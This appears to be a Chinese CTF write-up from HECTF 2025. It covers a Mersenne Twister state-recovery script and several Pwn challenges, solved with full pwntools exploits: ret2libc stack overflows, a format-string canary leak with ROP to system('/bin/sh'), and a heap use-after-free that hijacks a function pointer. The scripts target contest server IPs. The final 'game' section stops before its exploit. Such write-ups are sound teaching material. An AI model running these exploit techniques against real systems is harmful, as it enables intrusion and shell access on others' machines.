flag_list = [1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1]

with open("output.txt", "r") as f:
outputs = [int(line.strip()) for line in f if line.strip()]

def untemper(y):
y = int(y)
y ^= (y >> 18)
y ^= ((y << 15) & 0xefc60000)
for i in range(7):
y ^= ((y << 7) & 0x9d2c5680)
for i in range(3):
y ^= (y >> 11)
return y

def getrandbits_to_state(outputs):
state = []
for val in outputs:
upper = (val >> 32) & 0xFFFFFFFF
lower = val & 0xFFFFFFFF
# Python's getrandbits(64) does: return (b << 32) | a
# where a is first call, b is second call.
# So lower bits = first call (a), upper bits = second call (b)
state.append(untemper(lower))
state.append(untemper(upper))
return state

# Constants for MT19937
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def recover_y(R):
if R & 0x80000000:
y_shifted = R ^ MATRIX_A
y = (y_shifted << 1) | 1
else:
y = (R << 1)
return y

def reverse_twist(state):
mt_old = [0] * N
y = [0] * N

for i in range(227, 624):
R = state[i] ^ state[(i + M) % N]
y[i] = recover_y(R)

for i in range(227):
k = (i + M) % N
val_mixed = (y[k] & UPPER_MASK) | (y[k-1] & LOWER_MASK)
R = state[i] ^ val_mixed
y[i] = recover_y(R)

for i in range(N):
prev_idx = (i - 1 + N) % N
mt_old[i] = (y[i] & UPPER_MASK) | (y[prev_idx] & LOWER_MASK)

return mt_old

state_current = getrandbits_to_state(outputs)
print("Recovered current state.")

state_prev = reverse_twist(state_current)
print("Rewound state to previous batch.")

def solve():
# Try different start indices.
for start_index in range(N):
rand = random.Random()
rand.setstate((3, tuple(state_prev + [start_index]), None))

try:
test_list = list(range(len(flag_list)))
rand.shuffle(test_list)

s = rand.getstate()
idx = s[1][-1]

if idx == 624: # Perfect alignment
print(f"Found alignment! Start index: {start_index}")

rand.setstate((3, tuple(state_prev + [start_index]), None))
indices = list(range(len(flag_list)))
rand.shuffle(indices)

# Inverse permutation logic
inverse_indices = [0] * len(flag_list)
for new_pos, old_pos in enumerate(indices):
inverse_indices[old_pos] = new_pos

original_bits = [0] * len(flag_list)
for i in range(len(flag_list)):
original_bits[i] = flag_list[inverse_indices[i]]

try:
b_str = ''.join(map(str, original_bits))
m = int(b_str, 2)
flag = long_to_bytes(m)
if b"HECTF" in flag:
print(f"Flag: {flag.decode()}")
return
else:
print(f"Decoded but no flag: {flag}")
except:
pass

except Exception as e:
pass

solve()

hectf52.png

flag为:

1
HECTF{emmm___its_a_correct_flag?___}

Pwn

nc一下~

hectf53.png

我刚开始写的时候没有提示试了很久才出,先nc一下

hectf54.png

这里试过很多次可以知道这里每次nc都会给你新的日志

第一步:日志分析

连接服务器后,收到一段 Apache/Nginx 格式的访问日志。我们需要定位黑客上传病毒的操作。

  • 发现对 /01/data/upload/POST 请求,这是文件上传的典型特征。
  • 紧接着访问了 upd0te.php,这是一个可疑的 PHP 文件(通常是 Webshell)。
  • 可以得到上传时间:04/Apr/2024 05:08:14
  • 病毒名称upd0te.php

第二步:提交分析结果

服务器提示:请找到黑客的操作[ 提交答案:病毒上传的时间+病毒名称 ]
经过测试,服务器要求的时间格式必须严格与日志一致(DD/Mon/YYYY:HH:MM:SS)。

Payload: 04/Apr/2024:05:08:14+upd0te.php

**第三步:数字对战游戏 **

提交正确后,病毒启动保护模式,进入数字对战游戏。

  • 规则:双方选 3 个数字 (a, b, c),计算 sum 值,大者胜。先赢 3 局者最终获胜。
  • 策略发现
    通过编写脚本记录不同数字组合的 sum 值,发现组合 a=1, b=0, c=2 能产生极高的分数(约 67.9),远高于病毒随机选择的平均分数(通常在 40-60 之间)。

第四步:最终的exp:

编写 Python 脚本实现全自动化流程:

  1. 建立 TCP 连接。
  2. 接收并解析日志,正则表达式提取时间和文件名。
  3. 发送正确格式的答案。
  4. 在游戏循环中,每局固定发送最优策略 1, 0, 2

完整脚本 (connect.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import socket
import sys
import re
import time

def solve():
target_host = "47.100.66.83"
target_port = 31306

try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))

buffer = ""
while True:
data = client.recv(4096)
if not data:
break
chunk = data.decode(errors='ignore')
buffer += chunk
print(chunk, end='')
sys.stdout.flush()

if "请找到黑客的操作" in buffer:
# 解析日志寻找上传时间和文件名
lines = buffer.split('\n')
upload_time = ""
upload_date_str = ""
virus_name = ""

for i, line in enumerate(lines):
if '"POST /01/data/upload/ HTTP/1.1"' in line:
match_full = re.search(r'\[(.*?)(?: \+\d+)?\]', line)
if match_full:
raw_ts = match_full.group(1)
if ':' in raw_ts:
first_colon = raw_ts.find(':')
date_part = raw_ts[:first_colon]
time_part = raw_ts[first_colon+1:]
upload_time = time_part
upload_date_str = date_part

if upload_time and '"GET /01/data/upload/' in line and '.php' in line:
match = re.search(r'GET /01/data/upload/(.*?) HTTP', line)
if match:
virus_name = match.group(1)
break

if upload_time and virus_name:
# 提交答案
formatted_answer = f"{upload_date_str}:{upload_time}+{virus_name}"
print(f"\n[+] Detected: {upload_date_str} {upload_time} {virus_name}")
print(f"[+] Trying answer: {formatted_answer}")
client.sendall((formatted_answer + "\n").encode())

# 进入游戏循环
game_buffer = ""
while True:
data = client.recv(1024)
if not data:
break
response = data.decode(errors='ignore')
print(response, end='')
sys.stdout.flush()

game_buffer += response

# 必胜策略:始终发送 a=1, b=0, c=2
if "请输入参数 a :" in game_buffer:
print("1")
client.sendall(b"1\n")
game_buffer = ""
elif "请输入参数 b :" in game_buffer:
print("0")
client.sendall(b"0\n")
game_buffer = ""
elif "请输入参数 c :" in game_buffer:
print("2")
client.sendall(b"2\n")
game_buffer = ""

if "flag" in response.lower() or "hectf" in response.lower():
print("\n[+] FOUND FLAG OR INTERESTING STRING!")
break
else:
print("\n[-] Could not find the answer pattern.")
break

except Exception as e:
print(f"Connection failed: {e}")
finally:
client.close()

if __name__ == "__main__":
solve()

hectf55.png

1
HECTF{OdeGDPV1aYzbElF4vrtU6Fp5nmq9Dsbi}

shop

先查看保护

hectf56.png

可以知道保护都没有开,直接将这个程序拖入ida中分析

hectf57.png

可以知道这个程序是一个”购物登记系统”,主要流程如下:

1
main() -> admin_panel() -> manage_inventory() -> record_purchase()
  1. main: 提供菜单选择,选项2进入admin模式
  2. admin_panel: 需要输入密码 shopadmin123hectf58.png
  3. manage_inventory: 输入购买金额,通过 check_amount 检查hectf59.png
  4. record_purchase: 输入商品信息和购买描述hectf60.png

漏洞1: 整数溢出绕过检查

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL8 __fastcall check_amount(int a1)
{
return a1 >= 0; // 只检查是否 >= 0
}

int manage_inventory()
{
unsigned int v1;
scanf("%d", &v1);
if ((unsigned int)check_amount(v1)) // 类型混淆
return puts("Amount exceeds limit! Access denied.");
// ...
}
  • manage_inventoryv1unsigned int
  • check_amount 接收 int 类型参数
  • 当输入 -1 时,作为有符号数是负数,check_amount 返回 false,检查通过

漏洞2: 栈溢出 (gets)

1
2
3
4
5
6
7
8
9
__int64 record_purchase()
{
_BYTE v1[32]; // [rbp-0x50]
char s[32]; // [rbp-0x30]
__int64 v3; // [rbp-0x10]

puts("Enter purchase description:");
return gets(v1); // 危险函数,无长度限制
}

gets() 函数不检查输入长度,可以无限制写入,造成栈溢出。

缓冲区 v1rbp-0x50,因此:

  • 溢出偏移 = 0x50 + 8 (saved rbp) = 0x58 = 88字节

直接ret2libc

由于程序动态链接libc,采用经典的 ret2libc 两阶段攻击:

第一步: 泄露libc地址

  1. 通过ROP调用 puts(puts@got) 泄露puts的实际地址
  2. 计算libc基址
  3. 返回main函数继续利用
1
payload1 = padding + pop_rdi + puts@got + puts@plt + main

第二步: getshell

  1. 计算 system/bin/sh 地址
  2. 调用 system("/bin/sh")
1
payload2 = padding + ret + pop_rdi + "/bin/sh" + system
1
2
3
4
5
pop_rdi; ret  ->  0x401240
ret -> 0x40101a
puts@plt -> 0x4010c0
puts@got -> 0x4040a0
main -> 0x401413
漏洞类型 位置 利用方式
整数溢出 check_amount 输入-1绕过金额检查
栈溢出 record_purchase (gets) ret2libc

Flag: 通过 system("/bin/sh") 获取shell后读取flag

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context(arch='amd64', os='linux', log_level='info')

# Remote target
HOST = '8.153.93.57'
PORT = 31776

# Local binary and libc
elf = ELF('./shop')
libc = ELF('./libc.so.6')

# Gadgets
pop_rdi = 0x401240
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# Offset: buffer at rbp-0x50, so 0x50 bytes to rbp, then 8 bytes for saved rbp
offset = 0x50 + 8

p = remote(HOST, PORT)

# Stage 1: Leak libc address
p.sendlineafter(b'Enter choice: ', b'2')
p.sendlineafter(b'Enter admin password:\n', b'shopadmin123')
p.sendlineafter(b'Enter total purchase amount:\n', b'-1')
p.sendlineafter(b'Enter product name:\n', b'a')
p.sendlineafter(b'Enter product price:\n', b'1')

payload1 = b'A' * offset
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_addr)

p.sendlineafter(b'Enter purchase description:\n', payload1)

# Receive leaked puts address
leaked = p.recvuntil(b'===')[:-3] # receive until next menu
leaked = leaked.strip()
log.info(f'Raw leaked: {leaked.hex()} len={len(leaked)}')
puts_leak = u64(leaked[:6].ljust(8, b'\x00'))
log.success(f'Leaked puts: {hex(puts_leak)}')

# Calculate libc base
libc_base = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc_base)}')

system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
log.success(f'system: {hex(system_addr)}')
log.success(f'/bin/sh: {hex(bin_sh)}')

# Stage 2: Execute system("/bin/sh")
p.sendlineafter(b'Enter choice: ', b'2')
p.sendlineafter(b'Enter admin password:\n', b'shopadmin123')
p.sendlineafter(b'Enter total purchase amount:\n', b'-1')
p.sendlineafter(b'Enter product name:\n', b'b')
p.sendlineafter(b'Enter product price:\n', b'2')

payload2 = b'A' * offset
payload2 += p64(ret) # Stack alignment
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system_addr)

p.sendlineafter(b'Enter purchase description:\n', payload2)

p.interactive()

hectf61.png

flag为:

1
HECTF{Jv6XVNlWfyCTSnLiEn4f2dKbj9le0hzj}

easy_pwn

先查看保护

hectf62.png

可以知道大多数保护是没有开启的接着拖入 IDA Pro 进行分析。先看main函数

hectf63.png

main 函数首先调用了 check(),如果 check() 返回非零值,则执行 read(0, buf, 0x100u)
这里 buf 的大小只有 44 字节(IDA 识别为 [rbp-30h],即 48 字节空间),但 read 读取了 0x100 (256) 字节,存在明显的 栈溢出漏洞

接着看check 函数

hectf64.png

check 函数逻辑:

  1. 读取字符串 s1
  2. s1 的每个字符 ASCII 码加 1。
  3. 比较变换后的字符串是否等于 "HECTF"

为了通过检查,我们需要发送一个字符串,使得每个字符加 1 后变成 “HECTF”。
逆向推导:

  • ‘H’ - 1 = ‘G’
  • ‘E’ - 1 = ‘D’
  • ‘C’ - 1 = ‘B’
  • ‘T’ - 1 = ‘S’
  • ‘F’ - 1 = ‘E’
    所以我们需要输入的字符串是 "GDBSE"

IDA 中还发现了一个后门函数:hectf65.png

地址为 0x4011d6。这大大简化了利用过程,我们只需要控制 RIP 跳转到这个地址即可。

利用思路

  1. 绕过 check: 发送 "GDBSE"
  2. 触发栈溢出:
    • 计算偏移量:bufrbp-0x30,所以填充长度为 0x30 (48字节) + 8 字节 (saved RBP) = 56 字节
    • 覆盖返回地址:将其覆盖为 backdoor 函数的地址。

栈对齐 (Stack Alignment)

在 x64 系统的 glibc 中,调用 system 函数时,栈顶 rsp 必须是 16 字节对齐的(即 rsp 结尾必须是 0)。
如果直接跳转到 backdoor (0x4011d6),可能会因为栈未对齐而导致程序在 system 内部 crash(通常是 movaps 指令)。
为了解决这个问题,我们在 payload 中加入一个 ret 指令(gadget),先执行一次空返回,将 rsp 调整 8 字节,从而实现对齐。

  • ret gadget 地址可以在 check 函数末尾找到:0x401295

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

# 配置
context.arch = 'amd64'
# context.log_level = 'debug'

ip = '8.153.93.57'
port = 32713

# 连接远程
conn = remote(ip, port)

# Stage 1: Pass the check
# 发送 "GDBSE" 以绕过 check 函数
conn.recvuntil(b"Welcome to 2025HECTF!\n")
conn.sendline(b"GDBSE")

conn.recvuntil(b"welcome!\n")

# Stage 2: Buffer Overflow
# Padding 计算: 0x30 (buffer) + 8 (rbp) = 56
padding = b'A' * 56
backdoor = 0x4011d6
ret_gadget = 0x401295 # ret 用于栈对齐

# 构建 Payload
payload = padding + p64(ret_gadget) + p64(backdoor)

# 发送 Payload
conn.sendline(payload)

# Stage 3: Get Flag
conn.sendline(b"cat flag")
conn.interactive()

hectf66.png

flag为

1
HECTF{9xfCX2KEcU6HR0TV3ULMK02vujdCq6wi}

Class_Schedule_Management_System

还是一样的先查保护

hectf67.png

可以知道是有UPX壳,那就先脱壳

hectf68.png

接着再查看一下保护

hectf69.png

  • 架构:i386-32-little (32位 x86)
  • 保护机制
    • NX:Enabled (堆栈不可执行)
    • Canary:Found (栈溢出保护)
    • RELRO:Partial RELRO (GOT表可写)
    • PIE:No PIE (代码段地址固定,利于利用)

接着就将文件拖入ida中分析

  • Main 函数 (0x8048a53):

    hectf70.png

    • 维护一个菜单循环,允许用户进行添加、删除、打印课程表的操作。
    • 使用全局数组 notelist 存储课程指针。
  • 结构体定义
    根据 malloc 和使用方式,推测课程结构体 note 如下:

    1
    2
    3
    4
    struct note {
    void (*printnote)(struct note*); // +0: 打印内容的函数指针
    char *content; // +4: 指向课程描述内容的指针
    };
  • 关键函数

    • HECTF_02 (Add Class)

      hectf71.png

      • 检查是否有空位(最多5个)。
      • malloc(8) 分配 note 结构体。
      • 设置 printnote 指针指向 HECTF_01 (默认打印函数)。
      • 读取用户输入的大小,malloc(size) 分配 content。
      • 读取用户输入的内容到 content。
    • HECTF_03 (Delete Class)

      hectf72.png

      • 读取用户输入的索引。
      • free(notelist[idx]->content)
      • free(notelist[idx])
      • 漏洞点free 之后没有将 notelist[idx] 置为 NULL。这导致了 Use-After-Free (UAF) 漏洞。
    • HECTF_04 (Print Class)

      hectf73.png

      • 读取索引。
      • 调用 notelist[idx]->printnote(notelist[idx])
    • HECTF_05 (0x80489a1):

      hectf74.png

      • 后门函数,直接执行 system("cat flag")

根据上述的信息可以利用 Use-After-Free (UAF) 和 glibc Fastbin Attack 的特性来劫持控制流。

  • 在32位系统中,malloc(8) 会分配 16 字节的 Chunk (4字节头部 + 8字节数据 + 4字节对齐/填充)。
  • 这种大小的 Chunk 释放后会进入 Fastbin[16] 链表。
  • Fastbin 是 LIFO (后进先出) 的单向链表。

通过上述的分析可以得到思路:

  1. 申请资源

    • 申请 Note 0 (Size 24)。
    • 申请 Note 1 (Size 24)。
    • 此时堆上有:[Note0_Struct] [Note0_Content] [Note1_Struct] [Note1_Content]
  2. 触发 Free

    • 删除 Note 0Note0_Struct (16 bytes) 进入 Fastbin。
    • 删除 Note 1Note1_Struct (16 bytes) 进入 Fastbin。
    • 此时 Fastbin[16] 链表头部指向 Note1_StructNote1_Struct 的 fd 指针指向 Note0_Struct
    • 链表状态:Head -> Note1_Struct -> Note0_Struct -> NULL
  3. 实施攻击 (Fastbin Attack)

    • 申请 Note 2,指定 Content 大小为 8
    • 第一步分配结构体:系统需要 malloc(8) 来存放 Note 2 的结构体。它从 Fastbin 头部取出 Note1_Struct 的内存块作为 Note2_Struct
    • 第二步分配内容:系统需要 malloc(8) 来存放 Note 2 的内容。由于 malloc(8) 对应的 Chunk 大小也是 16 字节,系统继续从 Fastbin 中取出下一个空闲块,即 Note0_Struct 的内存块,作为 Note2_Content
    • 关键点Note2_Content 的地址现在实际上就是原 Note0_Struct 的地址。
  4. 劫持控制流

    • 我们向 Note 2 的 Content 写入数据。由于上述的内存复用,我们实际上是在重写 Note0_Struct 的内容。
    • Note0_Struct 的前4个字节是 printnote 函数指针。
    • 我们构造 Payload:p32(0x80489a1) (即 HECTF_05 地址)。
    • 写入后,Note0_Struct 在内存中变成了:[HECTF_05_Addr] [Original_Content_Ptr/Garbage]
  5. 获取 Flag

    • 调用 Print 功能,选择索引 0
    • 程序尝试执行 notelist[0]->printnote()
    • 由于 notelist[0] 指针未被清除 (UAF),它仍然指向 Note0_Struct 的内存地址。
    • 程序读取我们篡改后的函数指针,跳转执行 HECTF_05
    • HECTF_05 执行 system("cat flag"),输出 Flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# 配置环境
context.arch = 'i386'
context.log_level = 'debug'

host = '8.153.93.57'
port = 31253
addr_hectf_05 = 0x80489a1

def exploit():
try:
r = remote(host, port)

def add_note(size, content):
r.sendlineafter(b'Your operation:', b'1')
r.sendlineafter(b'Description size :', str(size).encode())
r.sendafter(b'Class description :', content)

def delete_note(idx):
r.sendlineafter(b'Your operation:', b'2')
r.sendlineafter(b'Enter Class Index :', str(idx).encode())

def print_note(idx):
r.sendlineafter(b'Your operation:', b'3')
r.sendlineafter(b'Enter Class Index :', str(idx).encode())

# 1. 申请两个 Chunk
add_note(24, b'A'*24) # Note 0
add_note(24, b'B'*24) # Note 1

# 2. 释放两个 Chunk,使其结构体 Chunk 进入 Fastbin
delete_note(0)
delete_note(1)

# 3. 申请 Note 2,大小为 8。
# 其 content 将复用 Note 0 的结构体 chunk。
# 我们写入后门函数地址,覆盖 Note 0 结构体的函数指针。
payload = p32(addr_hectf_05)
add_note(8, payload)

# 4. 调用 Note 0 的 print 函数,触发被修改的函数指针
print_note(0)

# 5. 获取 Flag
print(r.recvall(timeout=2))
r.close()

except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
exploit()

运行脚本即可得到flag

hectf75.png

flag为:

1
HECTF{JAcJ6R9vFE29rfK6pNnGKwoeAYOXRygI}

fmt

先用看这个程序的保护

hectf76.png

程序主要逻辑在 main 函数中,依次调用了 format()libc() 两个函数。

hectf77.png

接着看format() 函数 - 格式化字符串漏洞

hectf78.png

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 format()
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Try to write some words:");
read(0, buf, 0x80u);
printf(buf); // 存在格式化字符串漏洞
return v2 - __readfsqword(0x28u);
}

format 函数中存在明显的格式化字符串漏洞 printf(buf),且 buf 内容用户可控。

  • 利用点: 可以用来泄露栈上的 Canary 和任意地址读(通过构造参数泄露 GOT 表内容)。
  • 偏移计算:
    • buf 在栈上的位置相对于 printf 参数的偏移为 6。
    • Canary 位于 rbp-8buf 位于 rbp-0x110
    • 距离差为 0x110 - 0x8 = 0x108 = 264 字节。
    • 格式化字符串偏移 = 6 + 264 / 8 = 39
    • 所以 Canary 的偏移为 39 (%39$p)。

接着看libc() 函数 - 栈溢出漏洞

hectf79.png

1
2
3
4
5
6
7
8
9
10
unsigned __int64 libc()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("What's your name?");
read(0, buf, 0x100u); // 溢出点:读取 0x100 字节到 0x68 大小的缓冲区
return v2 - __readfsqword(0x28u);
}

libc 函数中定义了 104 字节 (0x68) 的缓冲区,但 read 读取了 0x100 字节,存在栈溢出。

  • 利用点: 在绕过 Canary 检查后,覆盖返回地址执行 ROP 链。
  • 利用条件: 需要先知道 Canary 的值(通过前一步泄露)。

第一步:信息泄露 (Info Leak)

利用 format() 函数的漏洞泄露以下信息:

  1. Canary: 用于绕过 libc() 函数中的栈保护检查。
  2. Libc地址: 题目没有给 Libc 文件,需要泄露 GOT 表中的函数地址(如 putsread),通过 LibcSearcher 识别远程 Libc 版本,从而计算 system/bin/sh 的地址。

Payload 构造:
为了泄露地址,我们需要将 GOT 表地址放在栈上作为 printf 的参数。我们可以直接将 GOT 地址放在格式化字符串的后面。

  • 格式化字符串: %39$p (泄露 Canary) + %10$s (泄露 puts GOT) + %11$s (泄露 read GOT)。
  • 这里的 10 和 11 是计算出来的偏移(根据 Payload 填充长度对齐到 8 字节)。

**第二步:ROP 攻击 **

利用 libc() 函数的栈溢出:

  1. 填充: 填充 0x68 字节的垃圾数据。
  2. Canary: 填入第一步泄露的 Canary 值。
  3. RBP: 填充 8 字节垃圾数据。
  4. ROP Chain:
    • pop rdi; ret (设置参数)
    • /bin/sh 地址
    • ret (栈对齐,视情况需要)
    • system 地址

exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
try:
from LibcSearcher import *
except ImportError:
LibcSearcher = None

# Context settings
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# Configuration
binary_path = './xs'
remote_ip = '8.153.93.57'
remote_port = 30108
use_remote = True

# Load binary
elf = ELF(binary_path)

if use_remote:
p = remote(remote_ip, remote_port)
else:
p = process(binary_path)

def exploit():
# =========================================================================
# Step 1: Leak Canary, Puts, and Read Addresses
# =========================================================================

p.recvuntil(b'Try to write some words:\n')

puts_got = elf.got['puts']
read_got = elf.got['read']

# Payload structure:
# We want to leak:
# 1. Canary (%39$p)
# 2. puts address (%10$s) -> We place puts_got at offset 32 (Arg 10)
# 3. read address (%11$s) -> We place read_got at offset 40 (Arg 11)

# Format string: "%39$pXX%10$sYY%11$s"
# Length check:
# %39$p -> 18 chars
# XX -> 2 chars
# %10$s -> 5 chars
# YY -> 2 chars
# %11$s -> 5 chars
# Total: ~32 chars.
# We pad to 32 bytes.

fmt_payload = b'%39$pXX%10$sYY%11$s'.ljust(32, b'A') + p64(puts_got) + p64(read_got)

p.send(fmt_payload)

try:
response = p.recvuntil(b'AA') # Receive until padding
log.info(f"Response data: {response}")

# Parse Canary
if b'0x' in response:
start_idx = response.find(b'0x')
response = response[start_idx:]

parts = response.split(b'XX')
canary = int(parts[0], 16)
log.success(f"Canary leaked: {hex(canary)}")

# Parse Puts and Read
rest = parts[1]
parts2 = rest.split(b'YY')

puts_leak_raw = parts2[0][:6] # Take exactly 6 bytes
read_leak_raw = parts2[1][:6] # Take exactly 6 bytes

puts_leak = u64(puts_leak_raw.ljust(8, b'\x00'))
read_leak = u64(read_leak_raw.ljust(8, b'\x00'))

log.success(f"puts leaked: {hex(puts_leak)}")
log.success(f"read leaked: {hex(read_leak)}")

except Exception as e:
log.error(f"Failed to parse leaks: {e}")
return

# =========================================================================
# Step 2: Resolve Libc
# =========================================================================

libc_base = 0
system_addr = 0
bin_sh_addr = 0

try:
if LibcSearcher:
libc_search = LibcSearcher('puts', puts_leak)
libc_search.add_condition('read', read_leak)
libc_base = puts_leak - libc_search.dump('puts')
system_addr = libc_base + libc_search.dump('system')
bin_sh_addr = libc_base + libc_search.dump('str_bin_sh')
log.success(f"Libc Base (via LibcSearcher): {hex(libc_base)}")
else:
raise ImportError
except:
log.warning("LibcSearcher failed. Using local libc or guessing.")
# Check local libc
if os.path.exists('./libc.so.6'):
libc = ELF('./libc.so.6')
libc.address = puts_leak - libc.symbols['puts']
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.success(f"Libc Base (local): {hex(libc.address)}")
else:
# Blind guess or user needs to check
log.error("Please verify libc version with the leaks provided.")
return

# =========================================================================
# Step 3: Buffer Overflow
# =========================================================================

p.recvuntil(b"What's your name?\n")

pop_rdi = 0x4011f3
ret = 0x4011f4

padding = b'A' * 104

rop = flat([
pop_rdi,
bin_sh_addr,
ret,
system_addr
])

payload = padding + p64(canary) + b'B'*8 + rop

p.send(payload)
p.interactive()

if __name__ == '__main__':
exploit()

运行脚本后成功获取 Flag:

hectf80.png

1
HECTF{DCGrAEA0BoemKtXGbqGUCsqhG1DxZ2Hn}

game

还是先查看保护

hectf81.png

漏洞点 1: 随机数种子覆盖 (Guess Game)

guess_game 函数中,input_username 读取用户输入时存在溢出,虽然不足以覆盖返回地址,但可以覆盖栈上的随机数种子 seed

hectf82.png

1
2
3
4
// 伪代码
seed = input_username(); // buf (rbp-0x30) 距离 seed (rbp-0x8) 只有 40 字节
// 输入超过 40 字节即可覆盖 seed
srand(seed);

通过发送 b'A'*40 + p32(0) 将种子覆盖为 0,使得 rand() 序列变得可预测。连续猜对 5 次后,程序调用 gift() 函数,泄露了 printf (Libc地址) 和 map (PIE基址)。

**漏洞点 2: 栈溢出与栈迁移 **

input_username1 函数中:

hectf83.png

1
2
char buf[32];
read(0, buf, 0x30); // 读取 48 字节

缓冲区大小为 32 字节,读取了 48 字节。

  • 溢出 16 字节。
  • 覆盖 Saved RBP (8字节)
  • 覆盖 Return Address (8字节)

由于溢出空间极小(只能覆盖返回地址),无法直接布置完整的 ROP 链。因此需要使用 栈迁移 (Stack Pivot) 技术。

隐藏后门 gadgets

通过分析二进制文件,发现 my_asm 函数(地址 0x129d)中包含大量有用的 gadgets:

1
2
3
4
5
pop rdi; ret
pop rsi; ret
pop rdx; ret
pop rax; ret
syscall; ret

这些 gadgets 使得我们不依赖 libc 即可构造 execve 系统调用。利用思路:

  1. 泄露地址:

    • 运行 Guess Game,覆盖 seed 为 0。
    • 发送预测好的随机数序列 (3, 6, 7, 5, 3) 通关。
    • 获取 printf 地址(计算 Libc Base)和 map 地址(计算 PIE Base)。
  2. 布置 ROP 链:

    • 进入 Pac-Man Game,程序首先调用 init_map,向全局变量 map 读取 0x70 字节。
    • map 是一个全域可读写的变量,地址已知。
    • 我们将 ROP 链写入 map 中。ROP 链的功能是执行 execve("/bin/sh", 0, 0)
    • ROP 构造:
      • pop rdi, /bin/sh地址
      • pop rsi, 0
      • pop rdx, 0
      • pop rax, 59 (SYS_execve)
      • syscall
  3. 栈迁移 (Stack Pivot):

    • 接着程序调用 input_username1,触发栈溢出。
    • Payload: Padding (32 bytes) + Fake RBP (map_addr) + Gadget (leave; ret)
    • 当函数返回执行 leave (mov rsp, rbp; pop rbp) 时,RSP 被修改为我们伪造的 RBP (map_addr)。
    • 随后的 ret 指令会从新的栈位置 (map_addr + 8) 取出下一条指令地址并执行,从而劫持控制流执行我们布置在 map 中的 ROP 链。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
